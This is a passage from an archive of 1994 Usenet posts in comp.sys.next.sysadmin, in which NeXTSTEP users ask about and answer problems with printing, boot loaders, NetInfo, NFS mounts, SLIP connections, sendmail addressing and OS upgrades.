Message-ID: <2ikl0m$6t6@netnews.upenn.edu>
I have a mac with localtalk (a powerbook) and a slab with the
400 dpi printer. Is it possible to configure these two machines such
that it's easy to use the next printer from the mac? Some solution
that provides chooser level access on the mac side would be nice,
but I'd settle for something that takes the PS file generated by
the mac lw driver and get's it to execute on the next (or some
other variant of this strategy).
Has anyone out there succeeded in doing this?
mjz
(zeren@gradient.cis.upenn.edu)
Newsgroups: comp.sys.next.sysadmin
From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Discipline Question
Message-ID: <Z8KLB76V@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <2ievvj$dfb@orion.cc.andrews.edu> <2igd49$7vt@cville-srv.wam.umd.edu>
Date: Tue, 1 Feb 1994 08:58:29 GMT
L. Anathea Brooks (gaia@wam.umd.edu) wrote:
> In article <2ievvj$dfb@orion.cc.andrews.edu>,
> William C. Sands Jr. <sands@orion.cc.andrews.edu> wrote:
> >Help educate me about Internet etiquette . . .
> >
> >If you had an administrator who sent an unrelated, religious message to
> >more than 1,000 groups and lists without clearing it with anyone else,
> >what discipline would be appropriate??
> >
> Have him read various "net etiquette" sections of Internet
> guides. If he persists on cross-posting fire him. He can then
> cross post (and break net etiquette) from his own
> account, on his own time.
> The administrator in question clearly doesn't
> know enough about bandwidth usage and etiquette to
> hold his position, but I'm for pardon.
I think you are mistaken, what clarence did! He didn't crosspost,
he rather posted all those articles individually! therefore they
REALLY wasted bandwidth. If there had not been some volunteers
who cancelled most of them, the loss of bandwidth would have ...
The worst thing is, that clarence knew what he did, he's been sysadm!
concerning the initial question. I also don't know what to do now.
Perhaps it's to much to deny access to the internet, but he should
know, that doing something like that again causes loss of this privilege
forever. You should ask in news.admin.misc.
Ciao, Stephan
p.s. If he crossposted the article, I'd have said, "he's an idiot,
let's forget the whole article". The discussion afterwards perhaps
wasted more bandwidth than the article itself.
--
trebels@theo-phys.gwdg.de
Newsgroups: comp.sys.next.sysadmin
From: fabien@free.fdn.org (Fabien Roy)
Subject: Re: DOS ate my NeXTSTEP boot loader!
Message-ID: <1994Jan27.195754.529@free.fdn.org>
Sender: news@free.fdn.org
Organization: Fabien Roy Electronic Engineering (F.R.E.E.) - Paris, France.
References: <102126@cup.portal.com>
Distribution: usa
Date: Thu, 27 Jan 1994 19:57:54 GMT
In article <102126@cup.portal.com> dwalker@cup.portal.com (David - Walker)
writes:
> Yes, and no.
>
> 6.2 rewrites your boot record, (I did the same thing). The work around
is
> to use FDISK to activate the NeXT partition. When you want to run DOS
again
> you will need to boot from a flopy with FDISK on it .... I'm sure ther
is a
> util in NeXT to activate partitions , but I dont know what it is.
>
> I'm on the lookout for a better Boot Manager than NeXT's. When I find it
> I'll let you know.
> -Dave
Why dont you use /usr/etc/fdisk <raw-device-h-partition> -useBoot0
-useBoot0
Reads in /usr/standalone/i386/boot0 to be used as the
partition boot program. If this option is not speci-
fied, the existing boot program is retained.
Cheers
--Fabien
___________________________________________________________________
Fabien Roy fabien@free.fdn.org
NeXTmail OK
Newsgroups: comp.sys.next.sysadmin
From: josh@vegiwopr.calpoly.edu (3josh)
Subject: passwd -f / chfn for netinfo?
Message-ID: <1994Feb01.122532.194860@zeus.aix.calpoly.edu>
Sender: news@zeus.calpoly.edu
Organization: Cal Poly State University, San Luis Obispo
Date: Tue, 01 Feb 1994 12:25:32 GMT
Since I was getting tired of manually changing users name field since
passwd -f doesn't work on netinfo, I was about to write a couple lines
of code to do this. It occured to me however, that I'm probably not
the first to get tired of this, so there's probably someone out there
with a program to do just that. I checked cs.orst.edu, but didn't
see anything -- anyone got such a beast? Or do I get to do a system
call to niutil? :)
josh@vegiwopr.calpoly.edu
From: mbecker@cs.uml.edu (Mark E. Becker)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.0: loginwindow: can't find WindowServer port!
Followup-To: comp.sys.next.sysadmin
Date: 1 Feb 1994 13:01:09 GMT
Organization: UMass-Lowell
Distribution: usa
Message-ID: <2iljql$7ei@ulowell.uml.edu>
References: <CK7Kox.1r4@news2.cis.umn.edu> <2ijof5$1nh@bilbo.suite.com>
In article <2ijof5$1nh@bilbo.suite.com> Scot_Shepherd@suite.com writes:
>In article <CK7Kox.1r4@news2.cis.umn.edu> scott@geom.umn.edu (Scott S.
>Bertilson) writes:
>> Jan 25 16:41:37 pascal loginwindow[191]: loginwindow: could not
>> find WindowServer port!
>
>Don't feel alone. I had this problem a couple of months ago. I wound up
>erasing my disk and reinstalling NS. Note I said ERASE, just reinstalling
>did NOT cure the problem.
>
>Scot
>
>PS I hope you find a better way...
Last night I turned on my cube (NS 2.1) and received this obnoxious
message. Rebooting single-user and poking around didn't reveal
anything 'obviously' out of order.
I did a hard-reboot (plug out, plug in) and restarted. This time fsck
started up and found a couple of badnesses with the drive. After it
fixed those, the system came up normal.
Scary.
Regards,
Mark
+----------------------------------------+--------------------------+
| Mark Becker <mbecker@cs.uml.edu> | #include <std.disclaimer>|
+----------------------------------------+--------------------------+
Newsgroups: comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.sysadmin
From: bakerb@il.us.swissbank.com (Brian Baker)
Subject: Backup Ideas
Message-ID: <1994Feb1.170954.28958@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
Date: Tue, 1 Feb 1994 17:09:54 GMT
Greetings,
I'm about to purchase a backup system for my Cube (with 1.6GB of storage
online). At the moment, I'm leaning toward either the Exabyte 4200c or
the HP35480A DAT drives, and SafteyNet. If anyone has any experience
dealing with these products, or has alternative suggestions, I'd like to
hear from you.
For example, does anyone know the difference between these two drives?
The specs appear identical (4-8GB capacity, with compression, similar
speeds, etc).
Profuse thanks in advance,
Brian Baker.
bakerb@swissbank.com
bbaker@its.com
From: joisha@bodhi.esys.cwru.edu (Prashanth Joisha)
Newsgroups: comp.sys.next.sysadmin
Subject: Using NXHost over a SLIP connection
Date: 1 Feb 1994 20:27:18 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2imdv6$dv4@usenet.INS.CWRU.Edu>
Hi,
This is a Repost since I did not get any replies on my previous post.
Present stepup :
We had configured two m/cs ( Next blackbox with 3.0 NS and a white box
with 3.2 NS) for an ethernet connection. We then decided to configure
these
machines for a SLIP connection without disturbing parameters used for
ethernet
connection (i.e host name ,IP address etc.). For the SLIP connection we
gave
seperate names,addresses for the two m/cs (thro' netinfo manager of
course).We
removed the ethernet cable and connected the m/cs over a telephone line.
Outcome :This setup works prefectly well i.e. rlogin,ftp,rsh works
perfectly
with the slip connection.
Problem : Iam not able to use NXHost option in any of my 'rsh' commands.
For
example if I try to run concurrence.app residing on the black box from
Intel m/c
by giving the following command :
rsh vedaS /LocalApps/Concurrence.app/Concurrence -NXHost venusS
I get 'premission denied' message on the intel m/c.On other hand if I try
to run
the app from black box itself by giving the following command :
/LocalApps/Concurrence.app/Concurrence -NXHost venusS
I get "DPSClient error" mesage on the black box. In both cases nothing
shows up on the intel m/c.
By the way the intel m/c is named as venusS and black box is named as
vedaS.
Any solutions for this problem will be appreciated.
Regards,
G.Prashanth Joisha
Euclid Computer Systems,Inc.,
11000 Cedar Ave., #442,
Cleveland,OHIO 44106
PH: 216-721-9999
Fax: 216-721-9995
Newsgroups: comp.sys.next.sysadmin
From: sr@rdbois.fdn.org (serge_ruby)
Subject: Re: Can you change the default app for any given file type?
Message-ID: <1994Jan29.105636.25896@rdbois.uucp>
Sender: sr@rdbois.uucp (serge_ruby)
Organization: S.RUBY
References: <2i74pg$330@access1.digex.net>
Distribution: fdn member
Date: Sat, 29 Jan 1994 10:56:36 GMT
In article <2i74pg$330@access1.digex.net> rlion@access1.digex.net (Eli
Rosenblatt) writes:
> In article <1994Jan24.180058.26018@beaver.cs.washington.edu>,
> Daniel Fineman <fineman@cs.washington.edu> wrote:
>
> >Hey all - i recently downloaded Emacs for NeXTStep, and i'd much
> >rather have text files loaded into Emacs than Edit when you
> >double-click on them. Can you change this somehow? I can't see a way
> >to change any of this in the workspace preferences.... there's only
> >one option for which app to open - how can you add another one?
>
> under inspector (Workspace -> tools -> inspector) you can go to
> contents and choose what to load up the program in.
It is in tools not in contents, that one can see (and possibly modify?) the
application launched if double click on the document (in NS 2.1 at least, is it
different in further versions?) . However, despite the fact it says (grayed)
"click OK to set default application to all documents with this extension" I
couldn't figure out how to change the default application. How do you do that?
(I too want to change Edit for Emacs)
Thanks
Serge
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: WANTED: Sendmail guru
Message-ID: <CKKp2F.GBx@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Date: Wed, 2 Feb 1994 01:16:50 GMT
Ok, I've talked to a dozen people about this and have tried several
custom sendmail.cf files but none seem to work. Here's the situation::
I am connected to the net via SLIP at the UofM. I can receive mail via
PopOver from my account at the U and I can sendmail to anyone on any
machine at the U from the NeXTMail app.
What I cannot do is send mail to anyone outside the U from my NeXT!
I must telnet to the U and use ELM to send outside the U.
Please, anyone who can help me solve this question wins a box of
kudos from me :)
Thanks,
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From: g402@muster.hrz.uni-giessen.de (Karsten Wolf)
Subject: Installation problems with NS3.2 on ASUS 486/VL-BUS
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Date: Tue, 1 Feb 1994 17:20:07 GMT
Organization: University of Giessen, Germany
Keywords: Installation problems with NS3.2 on ASUS 486/VL-BUS
config 1:
486/66 VL-BUS
AHA 1542cf (floppy drive attached to 1542)
8 mb ram
s3/805-video card with 1mb dram
500 mb scsi hd
Apple CD 150
In the installation process after specifying the size of the NS-partition, I get the following:
Writing /usr/standalone/i386/boot
Writing /usr/standalone/i386/boot0
Writing /usr/standalone/i386/boot1
unexpected kernel trap d eip 1627a1
Failed instruction exception (2,d,460000)
Waiting for remote debugger connection
(Type c to continue or r to reboot)
c doesnït help, understandably
config 2:
486/66 VL-BUS
AHA 1542cf (floppy drive attached to 1542)
16 mb ram
s3/805-video card with 1 mb dram
1,2 GB scsi hd
audioblaster 16asp
videospigot
internal cd rom drive XM-3401B
hp scsi dat tape
I get
:thread: waitForInterrupt:returns -735
very early in the installation process (probably when resetting the scsi bus).
Iïd be really happy to get some hints,
Karsten D. Wolf
(karsten.wolf@erziehung.uni-giessen.de)
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From: bpatters@nyx.cs.du.edu (Blake Patterson)
Subject: Re: Dot matrix printer drivers
Message-ID: <1994Feb2.053940.13821@mnemosyne.cs.du.edu>
of Denver for the Denver community. The University has neither
control over nor responsibility for the opinions of users.
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Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept.
References: <2hk5r2INN5kk@network.ucsd.edu> <1994Jan26.205130.28355@ve6mgs.ampr.org>
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>That is all this, and the other dot matrix printers are realy capable of.
>additional effort to use their 360dpi capability is not worth it since non
>of these printers are allowed to have two 360dpi dots next to eachother.
I've an Epson AP3250 -- it is entirely capable of printing 360dpi
(two dots next to each other). I've a driver to do this on my Amiga system.
Is there such a driver on NS?
bp
From: mcli@minnie.Read.TASC.COM (Maurice C. Ling)
Newsgroups: comp.sys.next.sysadmin
Subject: libg++.a compilation
Date: 1 Feb 1994 16:18:37 GMT
Organization: TASC
Message-ID: <2ilvctINN6id@jumbo.read.tasc.com>
[ Article crossposted from comp.sys.next.software ]
[ Author was Maurice C. Ling ]
[ Posted on 1 Feb 1994 16:16:25 GMT ]
Hi everyone,
I'm having some troubles getting libg++.a version 2.5.3 working with
gcc 2.5.8. When running "make check", it dies on the first test_h.cc
program, giving:
ld: Undefined symbols:
_S_ISREG
_S_ISCHR
Has anyone else compiled the recent versions of libg++?
Thanks,
-Maurice
BTW: system is a NeXTcube '040 with 16M RAM
From: shimada@rikei.co.jp ()
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS 3.2, Adaptec 1542 and Toshiba 3401B
Date: 2 Feb 1994 06:42:48 GMT
Organization: Rikei Corporation
Message-ID: <2ini18$sig@rikrux.rikei.co.jp>
References: <1994Jan27.124844.8268@nic.csu.net>
Victor Quevedo (vqueved@nssnext.calstatela.edu) wrote:
: I am having trouble getting PhotoCDs to work.
: I have:
: NS 3.2 (Intel)
: Adaptec 1542B (connected via the internal SCSI)
: Toshiba 3401B (Internal)
: It reads all types of CDs. But it will not read a PhotoCD.
: I remember someone having the same problems and posting a work around.
: Has anyone else have this problem? Does anyone have any suggestions?
: -Victor Quevedo
: vqueved@nssnext.calstatela.edu
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
Subject: Re: Rumors of Upgrading from 3.0 to 3.2
Date: 2 Feb 1994 07:17:06 GMT
Organization: University of Illinois at Urbana
Message-ID: <2ink1i$3hd@vixen.cso.uiuc.edu>
References: <2ibiil$p6j@bilbo.suite.com> <2ijmgc$3fg@gap.cco.caltech.edu>
tec@cco.caltech.edu (Timothy E. Cushing) writes:
>In article <2ibiil$p6j@bilbo.suite.com>, <Mark-Tarbell@suite.com> wrote:
>>1. I have heard that it is possible to upgrade directly to NS3.2 from
>>NS3.0 (without going through the NS3.1 upgrade step). True?
>Gee, good thing you didn't post this last week, since I just did upgrade from
>3.0 to 3.2 directly, without a second thought (my first thought being 'why
I recently did a 2.1->3.2 without any trouble. (Well, it did delete
WriteNow, but I just snagged that from another machine where I had
saved it from the olden days)
It was over a network ("A network upgrade server") so I didn't need
to fiddle with a boot disk or anything.
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From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Need PCNFSD compiled for black NeXT
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Date: Wed, 2 Feb 1994 09:49:18 GMT
Alistair Blachford (alistair@bcu.ubc.ca) wrote:
> I'd like to connect a PC to a NeXTstation using PC-NFS. Has someone
> already compiled "pcnfsd" for the NeXT? Thanks for any info/hints,
It's shipped in /usr/etc/rpc.pcnfsd
Ciao, Stephan
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From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Problems with netgroups
Message-ID: <ODMLBNUQ@gwdu03.gwdg.de>
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Date: Wed, 2 Feb 1994 09:59:10 GMT
Operator (root@cardano.math.upenn.edu) wrote:
> I've set up a netgroup for about 20 machines. This seems to work fine when
> I use it in a typical export entry such as :
> / -access=netgroup
> However, when I give root permissions to the netgroup:
> / -access=netgroup,root=netgroup
> I get the following message upon exporting the file system:
> # exportfs -av
> exportfs: netgroup: unknown host
> exported /
This is correct behaviour (try man exportfs)
> The root partition is exported, but without root permissions. What good
> are netgroups if I can't use them with all nfs options?
Good question :')
Just in case we might miss something: did you use NFSManager.app i.e.
do you use the plain exportfs command in rc.local or did you add
the exports to the netinfo database?
If you used the exportfs command without anything, perhaps you might
try to use the Netinfo version. I don't think, you will find problems
with hosts lists there. But I don't know, I never used a hosts list
with 20 machines :-)
Ciao, Stephan
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Trouble NFS Mounting
Message-ID: <1994Feb2.062341.9828@Happy-Man.com>
Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399
Date: Wed, 2 Feb 1994 06:23:41 GMT
Here's my problem:
rosebud-01-22:13 /Gigi/Users/irving 196# nidump exports /shadow > junk1
rosebud-01-22:14 /Gigi/Users/irving 197# nidump exports /sable > junk2
rosebud-01-22:14 /Gigi/Users/irving 198# diff junk[12]
No output from diff confirms that they have the same exports.
rosebud-01-22:14 /Gigi/Users/irving 199# mount sable:/ /sable
rosebud-01-22:15 /Gigi/Users/irving 200# umount sable:/
Mounting sable works fine.
rosebud-01-22:15 /Gigi/Users/irving 201# mount shadow:/ /shadow
mount: retrying
/shadow
Mounting shadow is impossible.
Any idea what I need to fix?
The machine I'm on has both rw and root access in the exports
"files" and is in both machines' /.rhosts, too. Re-exporting / on
shadow doesn't do any good either; the mount still hangs
indefinitely.
Of the eleven machines here, two behave badly this way and the
others are all okay.
Thanks!
- Irving
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From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Booting from a CD
Date: 2 Feb 1994 04:59:12 -0600
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Message-ID: <9402021053.AA10494@dcs.shef.ac.uk>
OK, so could somebody please gently explain how to upgrade a Cube
running 2.0 without a floppy to 3.2...?(!)
I was hoping to finally do it this week(!), and thought (I guess
mistakenly) that the UpgradePrep (or whatever it was called) app would
enable me to do this...?
Have fun,
mmalcolm.
From: mickey@grendel.UU.NET (Mickey Lasky)
Newsgroups: comp.sys.next.sysadmin
Subject: Resetting nbuf numbers
Date: 2 Feb 1994 13:09:56 GMT
Organization: UUNET Communications
Distribution: world
Message-ID: <2io8n4$e6@news.UU.NET>
How do I change the amount of nbufs I boot up with under NS3.0? I am using
what appears to be the maximum and it us only leaving me with 6.xx of memory and
I would like to reclaim some, maybe bring me back to 7Mb.
Comments on why I should or should not do this and how DO I do it... thanks!
=====================================================
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Technical Support Rep. mickey@uunet.uu.net
UUNET Technologies 703-204-8000
Falls Church, VA. 202-424-0453
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From: wolf@lanl.gov (David R Wolf)
Subject: TeX
Message-ID: <1994Feb1.202800.3661@newshost.lanl.gov>
Sender: news@newshost.lanl.gov
Organization: Los Alamos National Lab
Date: Tue, 1 Feb 1994 20:28:00 GMT
Is it possible to load a later version of NextTex
onto a system running an earlier version of the NeXT OS?
(Say the TeX from 3.2 onto NeXT 2.1?)
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From: jamastro@indyvax.iupui.edu
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Subject: Help w/SLIP logon
Message-ID: <1994Feb2.085438.3562@ivax>
Date: 2 Feb 94 08:54:38 -0500
Recently I got Louis A. Mamakos' SLIP up and running on black hardware
to access an Internet Provider. However, I'm having trouble establishing
a connection in that the provider's end seems to hang up before (or
sometimes right after) sending the password.
Everything works except their end hangs up while I'm waiting for the
*assword* prompt.
Any suggestions? Here's what my trace file is giving me:
TRACE 2> expect timeout {error "waiting for password"} "*assword*"
RECV: \r\nNO CARRIER\r\n
expect: does {\r\nNO CARRIER\r\n} match timeout, eof, or full_buffer? no
{*assword*}? no
expect: set expect_match {\r\nNO CARRIER\r\n}
expect: timed out after 5 secnds
TRACE 3> error "waiting for password"
script error: waiting for password
I get the feeling that there is some parameter that I've neglected,
but just can't find it in any documentation.
I'd appreciate any help
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP changing NetInfo Master
Keywords: NetInfo
Message-ID: <13666@blue.cis.pitt.edu>
Date: 2 Feb 94 16:14:56 GMT
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Greetings Netters:
Help!
The machine which has been NetInfo server for my network is now being
transferred to another department. Does anyone know how I can go about
making a different machine become the new MASTER NetInfo server for the
Department? I have two clone servers now, but I don't see any way to make
one of them into the new master.
Any help would be greatly appreciated.
Robert Cyphers
Department of mathematics and Statistics
University of Pittsburgh
cyphers+@pitt.edu
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From: rane+@cs.cmu.edu (Aaron Hughes)
Subject: trouble w/ external disk ownership/permissions
Message-ID: <CKM297.7zz.3@cs.cmu.edu>
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Organization: School of Computer Science, Carnegie Mellon
Date: Wed, 2 Feb 1994 19:03:06 GMT
We are trying to mount an external disk on a cube,
but whenever anyone logs in, they own all the
files on the external disk - is there a quick fix
for this?
thanks,
Aaron
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From: rdcdb@iddss1.iddis.com (Dean Banfield)
Newsgroups: comp.sys.next.sysadmin,comp.databases.sybase
Subject: Sybase DBLIB (and other) docs on NeXT
Date: 02 Feb 1994 19:42:50 GMT
Organization: IDD Information Services
Distribution: world
Message-ID: <RDCDB.94Feb2144251@iddss1.iddis.com>
Hi,
My company is traveling down the Sybase road. My NeXTStep Dev kit came
with the Sybase DBLIB library routines and an on-line set of docs (granted,
they were in raw troff/nroff format). I need to come up to speed on base
Sybase and other sub-products such as APT Workbench (replaced now by
the Momentum stuff). Docs at the company are like hen's teeth. Any way
to augment the useful on-line library on my NeXT with other pieces of
machine readable Sybase docs? TIA.
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Booting from a CD
Date: 2 Feb 1994 22:01:33 GMT
Organization: University of Michigan ITD/User Services
Message-ID: <2ip7rt$4po@lastactionhero.rs.itd.umich.edu>
References: <9402021053.AA10494@dcs.shef.ac.uk>
In article <9402021053.AA10494@dcs.shef.ac.uk>,
Malcolm Crawford <M.Crawford@dcs.shef.ac.uk> wrote:
>OK, so could somebody please gently explain how to upgrade a Cube
>running 2.0 without a floppy to 3.2...?(!)
easiest way: buy or borrow a scsi floppy.
not too hard: borrow a floppy from a slab or a cube with internal.
take cover off back of cube. connect floppy to appropriate connector
on motherboard. hang floppy in place, fits pretty well where fan goes
(you'll have to leave the back cover off during the upgrade)
not too hard either: install the boot program from
/usr/standalone/boot.cdrom on a 3.x system onto an optical or a
secondary hard disk. You can do this from a 2.x system, but you'll
have to put it in place of your current /usr/standalone/boot. use the
"disk -b" command to do this. It would be a good idea to keep your
original /usr/standalone/boot file just on general principle. Then
boot from this device; it will find the CDROM and transfer control to
it.
i'm sketchy on the details, but i did this last to upgrade a 2.2 cube
to 3.0.
danno
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From: audley@condor.cs.jhu.edu (Christopher Audley)
Newsgroups: comp.sys.next.sysadmin
Subject: Return address problems from a nextstation
Date: 2 Feb 1994 17:08:03 -0500
Organization: The Johns Hopkins University CS Department
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Message-ID: <2ip883$smq@condor.cs.jhu.edu>
I have a NeXTstation which has been given the name falcon. I have set this
in the Local... menu of NetManager and in NetInfoManager. However, when
I mail something from that machine, the return address is audley@localhost.
How do I get it to use falcon instead of localhost?
Chris
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Subject: best disk block factor?
Message-ID: <2FEB199415355752@eisner.decus.org>
From: bick@eisner.decus.org (Dan Bick)
Date: 2 Feb 1994 15:35 -0500
Distribution: usa
Organization: DECUServe
News-Software: VAX/VMS VNEWS 1.4-b1
I am selecting a new scsi disk for a 68040 NeXTstation
and need to know the preferred
blocking factor, 512 or 1024. Which is the better choice?
This will be a 400 or 660 meg disk.
Thanks for your response
Dan Bick
bick@eisner.decus.org
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Subject: Problems printing envelopes with NeXT printer.
Date: 3 Feb 1994 01:04:03 +0100
Organization: University of Bergen
Message-ID: <2ipf1j$9hs@alf.uib.no>
I just bought a NeXT printer (thanks Sam!), and am trying it out today.
I cannot seem to get envelopes to print. I am using standard A4
business envelopes (measure 22cm by 11cm). Yes, I've read the manual.
And the FAQ. And NeXT Answers.
I've tried setting paper size to both LTR and A4 without any luck.
I have (so far) tried manual feed - I imagine that's the easiest to get
to work. It seems that the envelope isn't drawn beyond the toner
cartridge to the rollers that melt the toner - the envelope is left
lying right in the middle of the bottom of the printer, under the
toner cassette, with toner deposited correctly on the envelope.
Could someone who has solved this or similar problem, or who knows
how to fix this, please send me an e-mail?
Regards,
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From: srutledg@vetmed.wsu.edu (Shawn Rutledge)
Subject: Mounting problems with NeXTStep Intel
Message-ID: <1994Feb2.224809.8026@serval.net.wsu.edu>
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Organization: College of Veterinary Medicine WSU
Date: Wed, 2 Feb 94 22:48:09 GMT
It seems that I can mount any of the disks on the black NeXTs without
troubles.
However, I can't mount disks off of our HP700s running HPUX 9.01.
I can sort of mount disks off one HP running HPUX 8.07 (it takes thirty
seconds or so to mount).
Any suggestions?
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From: mdw@sitar.jazz.att.com (Mark Wuest)
Subject: Re: Dove Fax Modem Supported under 3.2?
Message-ID: <CKMH26.59w@cbfsb.cb.att.com>
Originator: mdw@cbnewsg.cb.att.com
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Date: Thu, 3 Feb 1994 00:22:53 GMT
In article <1994Jan24.161000.10657@bozell.com> nengelke@newyork.bozell.com writes:
>I just upgraded my fax-server machine to NS 3.2 from NS 3.0. When running
>PrintManager.app I noticed that Dove Fax Modem was no longer one of the
>options listed in the "Type" window of the main Fax Modem panel. Is the
>Dove product no longer supported?
Uninstall/delete DoveFax.pkg from /NextLibrary/Receipts.
Get out the handy diskette that came with the modem (it has a light blue
and wite label on it if that helps you find it...). Put it in the drive
and open it. Re-install DoveFax.pkg.
Dunno why (she swallowed the fly - perhaps she'll die).
Mark
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From: murrayb@fit.qut.edu.au (Murray Bent)
Subject: NS3.2 Installation problem
Message-ID: <1994Feb2.183253.10866@news.qut.edu.au>
Sender: news@news.qut.edu.au (USENET News System)
Organization: Queensland University of Technology
Date: Wed, 2 Feb 94 18:32:53 GMT
On a 486Dx33 clone, Logitech Bus mus IRQ3, no serial/parallel card,
Adaptec 1542B host adaptor all settings defaults, maxtor 340 MB SCSI,
Apple CD150 external CDROM,
All goes well with initial installation from the floppy, but after the
booting from CD ROM , I can't enter keystrokes eg "1" OR "2" as needed-
The last message I get is just:
"THIS IS NOT AN UPGRADE. IT IS A COMPLETE INSTALLATION.
To install NextStep type 1,
To quit type 2,
--> "
Any ideas?
Thanks
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From: texpert@math.lsu.edu (TeX Support)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q] How to get mailserver's alias in outgoing addresses?
Date: 3 Feb 1994 00:17:56 GMT
Organization: Louisiana State University InterNetNews Site
Message-ID: <2ipfrk$2d2u@te6000.otc.lsu.edu>
Keywords: mail,sendmail
Hello. I apologize if the following has been discussed/solved here before.
In our NeXT setup, outgoing addresses (such as the From: and Reply-To:
fields) get translated in various ways, and we have two problems with
that. The following might be a little confusing, so please bear with me.
(1) Our mailserver is "marais.math.lsu.edu" but the name "math.lsu.edu" is
aliased to marais so that you can send mail to me at
"texpert@math.lsu.edu". I would like outgoing mail to come from
"texpert@math.lsu.edu" as well, but presently it comes from
"texpert@marais.math.lsu.edu". If in Mail's Preferences I put
"texpert@math.lsu.edu" into the Reply-To field, then the mail STILL comes
from "texpert@marais.math.lsu.edu". Is there any way to get our preferred
alias (namely "math.lsu.edu") to be used in place of the actual
mailserver's name (which is "marais.math.lsu.edu") on outgoing addresses?
(2) The From: field has radically different values depending upon whom the
email is addressed to. If I send mail to myself as "texpert", then the
From: field correctly says "Local TeX Repository <texpert>" (which is my
"real name" followed by my "account name"). However, if I send mail to
"texpert@math.lsu.edu", then the From: field says
"texpert@THISMACHINE.math.lsu.edu" where THISMACHINE is the machine from
which I composed the mail. This is not good because the mail recipient
should never see the name of the machine I was using, nor ever try to send
mail to me at that particular machine. Incidentally, if I send mail to
myself at "texpert@marais.math.lsu.edu" (our mailserver) or to
"texpert@OTHERMACHINE.math.lsu.edu" (where OTHERMACHINE is any machine
except the one from which I'm sending), then the same problem occurs.
However, if I send mail to "texpert@THISMACHINE.math.lsu.edu", then
(surprise!) it correctly comes from "Local TeX Repository <texpert>". We
would like the From: and Reply-To: fields to say, in my example, "Local
TeX Repository <texpert>" for local mail, and "Local TeX Repository
<texpert@math.lsu.edu>" for outgoing mail. Is there any way to accomplish
this goal?
Obviously my level of sendmail comprehension is minimal. Otherwise I'd
know either that our problem has no solution or how to solve it. If you
can help, please mail responses directly to me unless you believe your
response would benefit everyone. I will be happy to mail a summary to
anyone interested if and when this is solved.
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From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! I just hosed my configuration / SLIP
Date: 3 Feb 1994 01:34:27 GMT
Organization: University of California, at Berkeley
Message-ID: <2ipkb3$kij@agate.berkeley.edu>
Hi all,
I have a big problem. I am trying to install SLIP for NS/FIP. I actually
got the connection up and running (TransSYS PID). Problem was, I couldn't
do anything with my machine - i.e. telnet to myself or other machines over slip,
ping my machine, etc.
So, I figured maybe I should change my hostconfig file to have my machine
address to be the same as my SLIP IP address. When I rebooted, I got messages
like NFS - can't find my address... and the machine hangs while trying to start
network services.
Any help would be VERY appreciated.
Thanks,
Mark
markf@cory.eecs.berkeley.edu
From: jes@math.msu.edu (Jesse)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't login as a regular user
Date: 03 Feb 1994 03:51:55 GMT
Organization: MSU
Distribution: world
Message-ID: <JES.94Feb2225155@zhou.mth.msu.edu>
Machine: NeXT turbo running NeXTSTEP 3.0
For some reason, I'm not able to login as a regular user while root
can login without a problem. If I telnet to itself and login as 'me',
the error message shows that 'No directory /me!" and close the
connection. If I use 'su' to 'su me', I can become 'me' and access
/me. Any idea what happens? Thanks.
--Jesse
From: tmeyer@.mcs.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! I just hosed my configuration / SLIP
Date: 02 Feb 94 23:38:00
Organization: MCSNet Services
Distribution: fj
Message-ID: <tmeyer.94Feb223380@darker_wave>
References: <2ipkb3$kij@agate.berkeley.edu>
Mime-Version: 1.0
Content-Type: text/plain
markf@cory.EECS.Berkley.EDU said:
>So, I figured maybe I should change my hostconfig file to have my machine
>address to be the same as my SLIP IP address. When I rebooted, I got messages
>like NFS - can't find my address... and the machine hangs while trying to start
>network services.
I think this should work....
First, boot the machine with the 'Config=default' option. This will take
you into the me acct.
Next, just to be safe copy the /etc/hostconfig to /etc/hostconfig- . Also make a
copy of the netinfo directoy (just tar it).
Then move the good copiesof hostconfig and netinfo from /usr/template/client/etc
into /etc.
then reboot as usual.
hope this helps..
-tom
tmeyer@mcs.com
tmeyer@il.us.swissbank.com
Newsgroups: comp.sys.next.sysadmin
From: bruce@TotSysSoft.com (Bruce Gingery)
Subject: Re: Interface Builder Problems! Help!!
Message-ID: <1994Feb2.161240.714@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <1994Jan28.193039.17000@kakwa.ucs.ualberta.ca>
Date: Wed, 2 Feb 1994 16:12:40 GMT
In article <1994Jan28.193039.17000@kakwa.ucs.ualberta.ca>
eugene@nshade.uah.ualberta.ca (Eugene Mah) writes:
-> Help!!! My Interface Builder's gone psycho on me!
->
-> It's suddenly started giving me these error messages:
->
-> This appears in my console window
-> Jan 28 11:46:48 raddi InterfaceBuilder[687]: An uncaught
exception was raised
-> Jan 28 11:46:48 raddi InterfaceBuilder[687]: Unknown
